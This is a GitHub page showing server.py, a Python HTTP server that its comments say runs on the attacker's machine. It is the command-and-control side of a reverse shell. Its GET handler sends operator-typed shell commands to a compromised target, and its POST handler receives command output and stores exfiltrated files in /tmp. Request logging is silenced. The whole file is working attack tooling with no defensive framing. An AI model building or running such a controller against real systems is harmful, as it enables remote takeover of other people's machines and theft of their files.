-
Notifications
You must be signed in to change notification settings - Fork 31
/
server.py
59 lines (46 loc) · 1.72 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#Server ----> runs on the attacker's machine
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import parse_qs
import os,cgi
HTTP_STATUS_OK = 200
# IP and port the HTTP server listens on (will be queried by client.py)
ATTACKER_IP = '0.0.0.0'
ATTACKER_PORT = 8080
class MyHandler(BaseHTTPRequestHandler):
# Don't print: 127.0.0.1 - - [22/Jun/2021 21:29:43] "POST / HTTP/1.1" 200
def log_message(self, format, *args):
pass
def save_file(self, length):
data = parse_qs(self.rfile.read(length).decode())
with open('/tmp/downloaded_file','wb') as output_file:
output_file.write(data["rfile"][0].encode())
print("File saved as /tmp/downloaded_file")
# Send command to client (on Target)
def do_GET(self):
command = input("Shell> ")
self.send_response(HTTP_STATUS_OK)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(command.encode())
def do_POST(self):
length = int(self.headers['Content-Length'])
self.send_response(200)
self.end_headers()
if self.path == '/store':
try:
self.save_file(length)
except Exception as e:
print(e)
finally:
return
data = parse_qs(self.rfile.read(length).decode())
if "rfile" in data:
print(data["rfile"][0])
if __name__ == '__main__':
myServer = HTTPServer((ATTACKER_IP, ATTACKER_PORT), MyHandler)
try:
print(f'[*] Server started on {ATTACKER_IP}:{ATTACKER_PORT}')
myServer.serve_forever()
except KeyboardInterrupt:
print('[!] Server is terminated')
myServer.server_close()